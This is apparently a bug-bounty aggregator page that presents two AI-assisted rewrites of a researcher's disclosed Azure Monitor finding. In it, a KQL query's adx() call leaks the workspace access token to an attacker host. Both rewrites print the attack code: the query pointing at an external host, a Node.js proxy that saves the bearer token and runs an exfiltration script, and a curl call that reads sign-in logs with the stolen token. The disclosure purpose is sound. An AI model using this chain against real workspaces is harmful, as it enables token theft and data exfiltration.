Skip to content
Info disclosure Write-up Intermediate

Azure Monitor – Malicious KQL Query

A malicious KQL query using the adx() operator could direct Azure Monitor to an attacker-controlled endpoint, leaking the workspace's access token. The attacker could then use that token to exfiltrate data from the workspace, provided they also knew the workspace resource ID.

Joosua Santasalo Follow

Published on securecloud.blog

{{media:0}}

Joosua Santasalo (@SantasaloJoosua), on securecloud.blog

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Azure Monitor Log Analytics is a workspace-based query service. You write queries in KQL (Kusto Query Language) against tables such as SigninLogs, and the service runs them for you. Azure Monitor also supports cross-service queries: a Log Analytics or Application Insights query can reach out to an Azure Data Explorer (ADX) cluster and pull data from it into the same result set. The operator that does this is adx(), documented under the Azure Monitor data explorer proxy.

The researcher's working assumption had been that Log Analytics is a sandboxed environment for queries: that a query cannot take pipeline input that would influence a call to an external service, and therefore that you cannot run a query which leaks workspace data to an external service. The discovery is that this assumption does not hold when the workspace is reached from outside by indirect means.

The technique is named Malicious KQL Query: an attacker who knows the targetable workspace resourceID can inject a listener for access tokens into the query. When the query runs, the token is captured, and the attacker then uses the gained access token to exfiltrate data from the workspace.

Setup

The proof of concept combines data from Azure Monitor and Azure Data Explorer. The components are:

  1. A Log Analytics workspace, identified by its resourceID, in this case subscriptions/3539d2a2-cd25-48c6-b295-14e69334ef1c/resourceGroups/rg-laws/providers/Microsoft.OperationalInsights/workspaces/hublaws/, with the workspace name hublaws.
  2. A proxy server (Node.js with Express and axios) that intercepts the call the workspace makes to the ADX endpoint, returns dummy data to Log Analytics, and stores the leaked JWT token.
  3. The public demo ADX instance at https://help.kusto.windows.net, which the attacker uses for the cross-workspace query once the token is in hand.
  4. A separate curl call to the Log Analytics API, made outside the MITM server for demonstration purposes.

The precondition for the full attack is knowledge of the Log Analytics Workspace resourceID. The researcher notes that even without the resourceID a valid access token is obtained as soon as the victim runs the query.

Finding it

The researcher was building a PoC to combine data on both Azure Monitor and Azure Data Explorer, aiming for cross-service analytical capabilities, and stumbled on unexpected behaviour. The adx() method lets a query read data from an ADX workspace, but it also lets the query author define an arbitrary URL as the ADX cluster address. Authentication to ADX is done with a JWT token, and that JWT token is exposed in the process. The token can then be used for a cross-workspace query from the public demo instance that the attacker controls.

https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/externaldata-operator?pivots=azuremonitor From the original on securecloud.blog

The documentation for the externaldata operator, linked in the report.

Exploitation

Step 1: Understand the scope

The researcher scoped the issue to two outcomes:

  • Sensitive information disclosure: the access token is leaked as soon as the admin runs the query.
  • Data exfiltration: this requires that the attacker knows where to direct the query, meaning the attacker needs to know the resourceId in addition to using the access token.
From the original on securecloud.blog

Step 2: Use the adx() cross-service method

Azure Monitor supports cross-service queries between Azure Data Explorer, Application Insights and Log Analytics. You can query an Azure Data Explorer cluster using Log Analytics or Application Insights tools and refer to it in a cross-service query. The adx() method allows a query to define an arbitrary URL as the ADX cluster address.

https://docs.microsoft.com/en-us/azure/azure-monitor/logs/azure-monitor-data-explorer-proxy From the original on securecloud.blog

Step 3: Build the proxy server

The first thing the researcher did was create a proxy server that intercepts the call to the demo instance of ADX and returns dummy data for Log Analytics, while the proxy service stores the leaked JWT token. After the server intercepted the call, the token was dumped to the server, and for demonstration the follow-up call was made in a separate curl request instead of from the Node.js process.

Figure 2: img From the original on securecloud.blog

Step 4: Call the Log Analytics API with the stolen token

The curl command used to call the Log Analytics API outside the MITM server:

Bash
token=$(cat tkn.txt)
ws="subscriptions/3539d2a2-cd25-48c6-b295-14e69334ef1c/resourceGroups/rg-laws/providers/Microsoft.OperationalInsights/workspaces/hublaws/"
laName ="hublaws"
curl "https://ade.loganalytics.io/${ws}/v2/rest/query" \
-H "authorization: Bearer ${token}" \
-H 'content-type: application/json; charset=UTF-8' \
-H 'accept: application/json' \
--data-raw '{"db":"hublaws","csl":"SigninLogs\r\n| take 10","properties":{"Options":{"servertimeout":"00:04:00","queryconsistency":"strongconsistency","query_language":"csl","request_readonly":false,"request_readonly_hardline":false}}}' \
--compressed

The token is read from tkn.txt, the workspace resourceID is embedded in the URL path, and the request body names the database hublaws and runs the KQL SigninLogs | take 10. The response is the sign-in logs extracted from the victim workspace.

From the original on securecloud.blog

Step 5: The MITM route

The Node.js Express route that intercepts the call:

JavaScript
app.use('/*', async (req,res) => {
    console.log(decode(req.headers.authorization.split('Bearer ')[1],{complete:true}))
    console.log(req.body,req.method,req.headers)
    require('fs').writeFileSync('tkn.txt',req.headers.authorization.split('Bearer ')[1])
    delete req.headers.host

    try {
        var {data, headers} = await axios({
            method:"post",
            url:"https://help.kusto.windows.net/v1/rest/mgmt",
            headers:req.headers,
            data: req.body,
            })
            console.log(headers,inspect(data,false,8))
ds.push(data)
            /* Object.keys(headers).forEach((headerName) => {
                res.setHeader(headerName, headers[headerName])
              }) */

              // run then bash (you can run it also outside node)
    var exfil =await runCurl('bash exfil.sh')
    console.log(exfil)
    require('fs').writeFileSync('exfil.json',JSON.stringify(exfil))

return res.send(data)
    } catch (error) {
        console.log('sending',ds)
        res.send(ds[0])
    }

})

The route decodes the bearer token from the incoming authorization header, writes it to tkn.txt, strips the host header, forwards the request to the demo ADX management endpoint, and returns the response to Log Analytics. The runCurl call runs the exfiltration script.

Step 6: The malicious query

The example query with the adx() call:

Text
let data = SigninLogs
    | extend AppDisplayName = iff(AppDisplayName == '', 'Unknown', AppDisplayName)
    | where AppDisplayName in ('*') or '*' in ('*')
    | where UserDisplayName in ('*') or '*' in ('*')
    | extend Country = iff(LocationDetails.countryOrRegion == '', 'Unknown country', tostring(LocationDetails.countryOrRegion))
    | extend City = iff(LocationDetails.city == '', 'Unknown city', tostring(LocationDetails.city))
    | extend errorCode = Status.errorCode
    | extend SigninStatus = case(errorCode == 0, "Success", errorCode == 50058, "Pending user action", errorCode == 50140, "Pending user action", errorCode == 51006, "Pending user action", errorCode == 50059, "Pending user action", errorCode == 65001, "Pending user action", errorCode == 52004, "Pending user action", errorCode == 50055, "Pending user action", errorCode == 50144, "Pending user action", errorCode == 50072, "Pending user action", errorCode == 50074, "Pending user action", errorCode == 16000, "Pending user action", errorCode == 16001, "Pending user action", errorCode == 16003, "Pending user action", errorCode == 50127, "Pending user action", errorCode == 50125, "Pending user action", errorCode == 50129, "Pending user action", errorCode == 50143, "Pending user action", errorCode == 81010, "Pending user action", errorCode == 81014, "Pending user action", errorCode == 81012, "Pending user action", "Failure")
    | where SigninStatus == '*' or '*' == '*' or '*' == 'All Sign-ins';
let moreLogs = adx('https://ds.dewi.red:8443/Samples').StormEvents | take 1;
let countryData = data
    | summarize
        TotalCount = count(),
        SuccessCount = countif(SigninStatus == "Success"),
        FailureCount = countif(SigninStatus == "Failure"),
        InterruptCount = countif(SigninStatus == "Pending user action")
        by Country
    | join kind=inner
        (
        data
        | make-series Trend = count() default = 0 on TimeGenerated in range(ago(14d), now(), 6h) by Country
        | project-away TimeGenerated
        )
        on Country
    | project Country, TotalCount, SuccessCount, FailureCount, InterruptCount, Trend
    | order by TotalCount desc, Country asc;
data
| summarize
    TotalCount = count(),
    SuccessCount = countif(SigninStatus == "Success"),
    FailureCount = countif(SigninStatus == "Failure"),
    InterruptCount = countif(SigninStatus == "Pending user action")
    by Country, City
| join kind=inner
    (
    data
    | make-series Trend = count() default = 0 on TimeGenerated in range(ago(14d), now(), 6h) by Country, City
    | project-away TimeGenerated
    )
    on Country, City
| order by TotalCount desc, Country asc
| project Country, City, TotalCount, SuccessCount, FailureCount, InterruptCount, Trend
| join kind=inner
    (
    countryData
    )
    on Country
| project
    Id = City,
    Name = City,
    Type = 'City',
    ['Sign-in Count'] = TotalCount,
    Trend,
    ['Failure Count'] = FailureCount,
    ['Interrupt Count'] = InterruptCount,
    ['Success Rate'] = 1.0 * SuccessCount / TotalCount,
    ParentId = Country
| union (countryData
    | project
        Id = Country,
        Name = Country,
        Type = 'Country',
        ['Sign-in Count'] = TotalCount,
        Trend,
        ['Failure Count'] = FailureCount,
        ['Interrupt Count'] = InterruptCount,
        ['Success Rate'] = 1.0 * SuccessCount / TotalCount,
        ParentId = 'root')
| order by ['Sign-in Count'] desc, Name asc

The line that matters is let moreLogs = adx('https://ds.dewi.red:8443/Samples').StormEvents | take 1;. When the query runs, Log Analytics authenticates to that address with a JWT token, and the proxy at that address captures it.

Root cause

The adx() operator accepts an arbitrary URL as the ADX cluster address. Authentication to ADX is done with a JWT token, and that token is sent to whatever address the query names. The JWT token used for ADX authentication is exposed to the address named in the query. The researcher's earlier assumption, that queries cannot influence calls to external services, was wrong when the workspace is reached from outside by indirect methods.

At the time of publication MSRC confirmed this was by-design behaviour of the service in scope, which is why the researcher was able to publish. The mitigating factor is that a complete attack requires the attacker to know the Log Analytics Workspace resourceID. The token leak itself does not: a valid access token is obtained as soon as the victim runs the query, even without the resourceID.

Impact

Two outcomes, as scoped by the researcher:

  1. Sensitive information disclosure: the access token leaks as soon as the admin runs the query.
  2. Data exfiltration: the attacker uses the token to query the workspace and pull data out, for example sign-in logs. This requires the attacker to know where to direct the query, meaning the resourceId in addition to the access token.

Because the behaviour was by design, the researcher does not consider it a severe attack type. The practical advice is still to be careful about pasting random queries into workspaces and to inspect them for operators that allow external sources of data.

Fix

An update on 06.05.2022 states that a fix has now been issued, changing the previous by-design behaviour. This makes Log Analytics a lot safer in terms of running queries in the workspace. The researcher notes that the blog remains as documentation for one of the coolest attacks discovered during their researcher tenure.

From the original on securecloud.blog

Variants to test

The researcher lists two additional avenues, credited to ideas from Dr. Nestori Syynimaa, since this is a new type of attack vector in Azure:

  1. Scheduled queries with system context. Try running the malicious query as a scheduled query to obtain access tokens with system context. Based on quick tests, this is prevented to ensure system access tokens are not leaked to untrusted ADX workspaces.
  2. Enumeration from the ADE API. Test how much enumeration is possible from https://ade.loganalytics.io/${ws}/v2/rest/query.

The researcher's advice is to be careful about pasting random queries into workspaces and to inspect them for operators that allow external sources of data.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A security researcher was building a small demonstration that combined data from two Microsoft cloud services: Azure Monitor (specifically its Log Analytics part) and Azure Data Explorer. While doing that, he found something unexpected. A query written in Log Analytics could be made to send the workspace's own access token to a server of the query author's choosing. With that token in hand, the attacker could then read data out of the workspace, for example the sign-in logs.

He called the technique Malicious KQL Query. The idea is that an attacker who knows the identifier of a target workspace can slip a listener for access tokens into a query. When the query runs, the token is captured, and the attacker uses it to pull data out of the workspace.

At the time, Microsoft's security response team confirmed this was by-design behaviour of the service in scope, which is why the researcher was able to publish the article. Later, on 06.05.2022, a fix was issued that changed that behaviour, making Log Analytics safer for running queries in the workspace.

Before going further, a few words on the pieces involved, because the rest of the article depends on them.

  • Azure Monitor is Microsoft's service for collecting and looking at logs and metrics from cloud resources. Think of it as a big filing cabinet plus a search desk for everything your cloud setup records.
  • Log Analytics is the part of Azure Monitor where you write queries against those logs. A workspace is the container that holds the logs; each workspace has a long identifier called a resourceID, which is a bit like a full postal address for that container inside Azure.
  • KQL (Kusto Query Language) is the language you type those queries in. It looks a little like a spreadsheet formula crossed with a pipe: you take a table, then pass it through steps such as filtering and summarising.
  • Azure Data Explorer (ADX) is a separate Microsoft service for storing and querying large amounts of data. Log Analytics can reach out to an ADX cluster and pull data from it into the same result set. The operator that does this is called adx().
  • A token is a short string that proves who you are, a bit like a wristband at an event: show it and the door opens without you having to prove your identity again. The tokens here are JWT tokens (JSON Web Tokens), a standard format for such proof strings.
  • An API is the set of addresses a service listens on so that programs can talk to it, the way a restaurant has a counter where you place an order. A curl command is a way to call such an address from a terminal.
  • A proxy is a middleman server that sits between two parties and passes messages along. A MITM (man-in-the-middle) server is a proxy that also inspects or records what passes through it.

Discovery

The researcher's working assumption had been that Log Analytics is a sandboxed environment for queries. In plain terms: a query cannot take pipeline input that would influence a call to an external service, and therefore you cannot run a query that leaks workspace data to an external service. A sandbox, in this context, is like a playpen: you can move around inside it, but you cannot reach outside it.

It turns out that assumption was wrong, at least when the workspace is reached from outside by some indirect methods.

https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/externaldata-operator?pivots=azuremonitor From the original on securecloud.blog

The image points to Microsoft's documentation for the externaldata operator. An operator, in KQL, is a word that tells the query engine to do something with the data flowing through it.

Scope

The researcher scoped the issue to two outcomes.

  1. Sensitive information disclosure: the access token is leaked as soon as the admin runs the query. Information disclosure simply means data that should stay private becomes visible to someone who should not see it.
  2. Data exfiltration: this requires that the attacker knows where to direct the query, meaning the attacker needs to know the resourceId in addition to using the access token. Exfiltration means copying data out of a place where it was supposed to stay.
From the original on securecloud.blog

Introducing the adx() method

Azure Monitor supports cross-service queries between Azure Data Explorer, Application Insights and Log Analytics. You can query an Azure Data Explorer cluster using Log Analytics or Application Insights tools and refer to it in a cross-service query. The adx() method allows a query to define an arbitrary URL as the ADX cluster address.

https://docs.microsoft.com/en-us/azure/azure-monitor/logs/azure-monitor-data-explorer-proxy From the original on securecloud.blog

The image shows the Microsoft documentation page for the Azure Monitor data explorer proxy, which describes this cross-service query feature.

Exfiltrating access tokens leads to exfiltrating data

The adx() method allows us to query for data in Azure Data Explorer workspaces, but it also allows us to define an arbitrary URL as the ADX cluster address. Since authentication to ADX is done with a JWT token, the JWT token gets exposed in this process. That JWT token in turn can be used as a cross-workspace query from the public demo instance that the attacker will be using.

In everyday terms: the query is told to fetch data from a cluster, and the query author gets to write down the cluster's address. If the author writes down the attacker's address instead of a real cluster, the workspace will politely knock on the attacker's door and show its wristband (the token) to get in. The attacker keeps a copy.

Setting up the PoC

Figure 2: img From the original on securecloud.blog

Figure 2: img

The first thing the researcher did was create a proxy server that intercepts the call to the demo instance of ADX and returns dummy data for Log Analytics, while the proxy service stores the leaked JWT token. After the server had intercepted the call, he dumped the token to the server, and for demonstrative purposes made the call in a separate curl request instead of calling from the Node.js processes.

From the original on securecloud.blog

The call extracts sign-in logs from the victim workspace.

From the original on securecloud.blog

Attack details

The curl command below is used to call the Log Analytics API outside the MITM server.

Bash
token=$(cat tkn.txt)
ws="subscriptions/3539d2a2-cd25-48c6-b295-14e69334ef1c/resourceGroups/rg-laws/providers/Microsoft.OperationalInsights/workspaces/hublaws/"
laName ="hublaws"
curl "https://ade.loganalytics.io/${ws}/v2/rest/query" \
-H "authorization: Bearer ${token}" \
-H 'content-type: application/json; charset=UTF-8' \
-H 'accept: application/json' \
--data-raw '{"db":"hublaws","csl":"SigninLogs\r\n| take 10","properties":{"Options":{"servertimeout":"00:04:00","queryconsistency":"strongconsistency","query_language":"csl","request_readonly":false,"request_readonly_hardline":false}}}' \
--compressed

Line by line, in plain words:

  • token=$(cat tkn.txt) reads the stolen token from a file called tkn.txt and stores it in a variable named token. A variable is just a labelled box that holds a value for later use.
  • ws="subscriptions/.../workspaces/hublaws/" stores the workspace resourceID in a variable named ws. This is the long address that identifies the victim workspace inside Azure.
  • laName ="hublaws" stores the workspace name in a variable. Note that the original has a space before the equals sign, which is how it appears in the report.
  • curl "https://ade.loganalytics.io/${ws}/v2/rest/query" is the actual call. It builds the API address by gluing the workspace resourceID into the URL path. The ${ws} part means "put the contents of the ws box here".
  • -H "authorization: Bearer ${token}" adds a header saying who is calling: the bearer of the stolen token. A header is a small piece of extra information attached to a request, like the label on a parcel.
  • -H 'content-type: application/json; charset=UTF-8' tells the server the body is JSON, a common text format for structured data.
  • -H 'accept: application/json' tells the server we would like JSON back.
  • --data-raw '...' is the body of the request. It names the database hublaws and the query SigninLogs | take 10, which means "take the SigninLogs table and keep the first 10 rows". The properties block carries options such as a server timeout and consistency settings.
  • --compressed asks curl to handle compressed responses.

The response is the sign-in logs extracted from the victim workspace.

The Node.JS Express MITM route

JavaScript
app.use('/*', async (req,res) => {
    console.log(decode(req.headers.authorization.split('Bearer ')[1],{complete:true}))
    console.log(req.body,req.method,req.headers)
    require('fs').writeFileSync('tkn.txt',req.headers.authorization.split('Bearer ')[1])
    delete req.headers.host

    try {
        var {data, headers} = await axios({
            method:"post",
            url:"https://help.kusto.windows.net/v1/rest/mgmt",
            headers:req.headers,
            data: req.body,
            })
            console.log(headers,inspect(data,false,8))
ds.push(data)
            /* Object.keys(headers).forEach((headerName) => {
                res.setHeader(headerName, headers[headerName])
              }) */

              // run then bash (you can run it also outside node)
    var exfil =await runCurl('bash exfil.sh')
    console.log(exfil)
    require('fs').writeFileSync('exfil.json',JSON.stringify(exfil))

return res.send(data)
    } catch (error) {
        console.log('sending',ds)
        res.send(ds[0])
    }

})

This is the code of the proxy server that catches the workspace's call. Line by line:

  • app.use('/*', async (req,res) => { sets up a handler that runs for every incoming request. req is the incoming request, res is the reply we will send back.
  • console.log(decode(req.headers.authorization.split('Bearer ')[1],{complete:true})) takes the authorization header, splits it at the word Bearer and keeps the part after it, which is the token. It then decodes the token and prints it, so the researcher can see what is inside.
  • console.log(req.body,req.method,req.headers) prints the body, the method (such as POST) and the headers of the request, for inspection.
  • require('fs').writeFileSync('tkn.txt',req.headers.authorization.split('Bearer ')[1]) writes the token to the file tkn.txt. This is the moment the token is captured.
  • delete req.headers.host removes the host header before forwarding. The host header normally says which site the request was aimed at; removing it avoids passing on the attacker's own address.
  • The try block forwards the request to https://help.kusto.windows.net/v1/rest/mgmt, the demo ADX management endpoint, using the same headers and body. axios is a library for making HTTP calls.
  • console.log(headers,inspect(data,false,8)) prints the response headers and a readable view of the response data.
  • ds.push(data) stores the response in a list called ds.
  • The commented-out block would have copied the response headers back to the caller; it is disabled in the original.
  • var exfil =await runCurl('bash exfil.sh') runs a separate script, exfil.sh, which performs the exfiltration, and stores its output.
  • require('fs').writeFileSync('exfil.json',JSON.stringify(exfil)) saves that output to exfil.json.
  • return res.send(data) sends the response back to Log Analytics, so the workspace sees a normal answer and does not suspect anything.
  • The catch block handles errors by sending back the first stored response from ds.

The malicious query

Text
let data = SigninLogs
    | extend AppDisplayName = iff(AppDisplayName == '', 'Unknown', AppDisplayName)
    | where AppDisplayName in ('*') or '*' in ('*')
    | where UserDisplayName in ('*') or '*' in ('*')
    | extend Country = iff(LocationDetails.countryOrRegion == '', 'Unknown country', tostring(LocationDetails.countryOrRegion))
    | extend City = iff(LocationDetails.city == '', 'Unknown city', tostring(LocationDetails.city))
    | extend errorCode = Status.errorCode
    | extend SigninStatus = case(errorCode == 0, "Success", errorCode == 50058, "Pending user action", errorCode == 50140, "Pending user action", errorCode == 51006, "Pending user action", errorCode == 50059, "Pending user action", errorCode == 65001, "Pending user action", errorCode == 52004, "Pending user action", errorCode == 50055, "Pending user action", errorCode == 50144, "Pending user action", errorCode == 50072, "Pending user action", errorCode == 50074, "Pending user action", errorCode == 16000, "Pending user action", errorCode == 16001, "Pending user action", errorCode == 16003, "Pending user action", errorCode == 50127, "Pending user action", errorCode == 50125, "Pending user action", errorCode == 50129, "Pending user action", errorCode == 50143, "Pending user action", errorCode == 81010, "Pending user action", errorCode == 81014, "Pending user action", errorCode == 81012, "Pending user action", "Failure")
    | where SigninStatus == '*' or '*' == '*' or '*' == 'All Sign-ins';
let moreLogs = adx('https://ds.dewi.red:8443/Samples').StormEvents | take 1;
let countryData = data
    | summarize
        TotalCount = count(),
        SuccessCount = countif(SigninStatus == "Success"),
        FailureCount = countif(SigninStatus == "Failure"),
        InterruptCount = countif(SigninStatus == "Pending user action")
        by Country
    | join kind=inner
        (
        data
        | make-series Trend = count() default = 0 on TimeGenerated in range(ago(14d), now(), 6h) by Country
        | project-away TimeGenerated
        )
        on Country
    | project Country, TotalCount, SuccessCount, FailureCount, InterruptCount, Trend
    | order by TotalCount desc, Country asc;
data
| summarize
    TotalCount = count(),
    SuccessCount = countif(SigninStatus == "Success"),
    FailureCount = countif(SigninStatus == "Failure"),
    InterruptCount = countif(SigninStatus == "Pending user action")
    by Country, City
| join kind=inner
    (
    data
    | make-series Trend = count() default = 0 on TimeGenerated in range(ago(14d), now(), 6h) by Country, City
    | project-away TimeGenerated
    )
    on Country, City
| order by TotalCount desc, Country asc
| project Country, City, TotalCount, SuccessCount, FailureCount, InterruptCount, Trend
| join kind=inner
    (
    countryData
    )
    on Country
| project
    Id = City,
    Name = City,
    Type = 'City',
    ['Sign-in Count'] = TotalCount,
    Trend,
    ['Failure Count'] = FailureCount,
    ['Interrupt Count'] = InterruptCount,
    ['Success Rate'] = 1.0 * SuccessCount / TotalCount,
    ParentId = Country
| union (countryData
    | project
        Id = Country,
        Name = Country,
        Type = 'Country',
        ['Sign-in Count'] = TotalCount,
        Trend,
        ['Failure Count'] = FailureCount,
        ['Interrupt Count'] = InterruptCount,
        ['Success Rate'] = 1.0 * SuccessCount / TotalCount,
        ParentId = 'root')
| order by ['Sign-in Count'] desc, Name asc

In plain words:

  • let data = SigninLogs takes the sign-in log table and gives it the short name data, so the rest of the query can refer to it easily.
  • The | extend lines add new columns. iff(condition, value-if-true, value-if-false) is a small decision: if the field is empty, show a placeholder such as Unknown.
  • The | where lines filter rows. The ones with '*' are placeholders that keep everything, as if a filter form were left blank.
  • The long | extend SigninStatus = case(...) line turns numeric error codes into readable labels such as Success, Pending user action or Failure. case checks each condition in turn and returns the matching label.
  • let moreLogs = adx('https://ds.dewi.red:8443/Samples').StormEvents | take 1; is the line that matters. It tells Log Analytics to fetch data from an ADX cluster at https://ds.dewi.red:8443/Samples. When the query runs, Log Analytics authenticates to that address with a JWT token, and the proxy at that address captures it. The | take 1 simply keeps one row, so the query still looks plausible.
  • let countryData = data | summarize ... builds a summary of sign-ins per country: total, successes, failures and pending actions. summarize is like a pivot table in a spreadsheet.
  • The | join kind=inner (...) blocks combine the summary with a time trend, matching rows on the country (and later city) name. A join is like matching two lists on a shared column.
  • | project chooses and renames the columns that will appear in the output.
  • | union (countryData ...) stacks the country-level rows on top of the city-level rows, so the final table has both levels.
  • | order by ... desc sorts the result, for example by sign-in count from highest to lowest.

Evaluation of the attack

As this was by design, it should not be considered a severe attack type. There are mitigating factors, such as, at least in the researcher's PoC, that the attacker needs to know the Log Analytics Workspace resourceID before the attack can be made complete. That being said, the researcher would still be careful about pasting random queries into workspaces and would inspect them for operators that allow external sources of data. It is also worth noting that even without the resourceID, a valid access token is obtained as soon as the victim runs the query.

Additional attack paths

The researcher got some ideas from Dr. Nestori Syynimaa and planned to look for additional avenues, since this is a new type of attack vector in Azure.

  1. Can you run it as a scheduled query, to get access tokens with system context? Based on quick tests, this is prevented to ensure system access tokens are not leaked to untrusted ADX workspaces. A scheduled query is one that the service runs on a timer rather than a person clicking run; system context means the query runs with the service's own identity rather than a user's.
  2. How much enumeration can you do from the ADE API https://ade.loganalytics.io/${ws}/v2/rest/query? Enumeration means systematically asking a service questions to map out what it holds.

The researcher's advice is to be careful about pasting random queries into workspaces and to inspect them for operators that allow external sources of data.

Fix

An update on 06.05.2022 states that a fix has now been issued, changing the previous by-design behaviour. This makes Log Analytics a lot safer in terms of running queries in the workspace. The researcher notes that the blog remains as documentation for one of the coolest attacks discovered during his researcher tenure.

From the original on securecloud.blog

Glossary

  • Access token: a string that proves an identity to a service, so the holder can call the service without logging in again.
  • ADX (Azure Data Explorer): a Microsoft service for storing and querying large datasets.
  • API: the set of addresses and rules a service exposes so that programs can talk to it.
  • Application Insights: a Microsoft service for monitoring applications, which can take part in cross-service queries.
  • Azure Monitor: Microsoft's service for collecting and analysing logs and metrics from cloud resources.
  • Bearer token: a token sent in a request header, where possession of the token is enough to be treated as the owner.
  • Cross-service query: a query in one service that pulls data from another service into the same result.
  • curl: a command-line tool for sending requests to web addresses.
  • Data exfiltration: copying data out of a place where it was meant to stay.
  • Enumeration: systematically querying a service to discover what it contains.
  • Exfiltration script: a script that performs the copying out of data; here exfil.sh.
  • externaldata operator: a KQL operator that lets a query read data from an external source.
  • Header: extra information attached to a web request or response, such as who is calling or what format is wanted.
  • Information disclosure: a weakness where data that should stay private becomes visible to someone who should not see it.
  • JWT (JSON Web Token): a standard text format for tokens that carry identity information.
  • KQL (Kusto Query Language): the query language used by Log Analytics and Azure Data Explorer.
  • Log Analytics: the part of Azure Monitor where you query logs held in a workspace.
  • MITM (man-in-the-middle): a server that sits between two parties and can inspect or record what passes through it.
  • Node.js / Express / axios: a JavaScript runtime, a web framework and a library for making HTTP calls, used here to build the proxy.
  • Operator: a KQL word that tells the query engine to do something with the data flowing through it, such as where, summarize or adx().
  • PoC (proof of concept): a small demonstration that shows a technique works.
  • Proxy: a middleman server that passes messages between two parties.
  • ResourceID: the long address that identifies a resource, such as a workspace, inside Azure.
  • Sandbox: an isolated environment that is meant to stop code from reaching outside it.
  • Scheduled query: a query the service runs automatically on a timer.
  • Sign-in logs: records of who signed in, when and from where.
  • System context: running with the service's own identity rather than a user's identity.
  • Token: a short string that proves an identity, like a wristband at an event.
  • Workspace: the container in Log Analytics that holds logs and is queried by KQL.

More by Joosua Santasalo

View all

1 more disclosed report, best first.

More from Microsoft

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.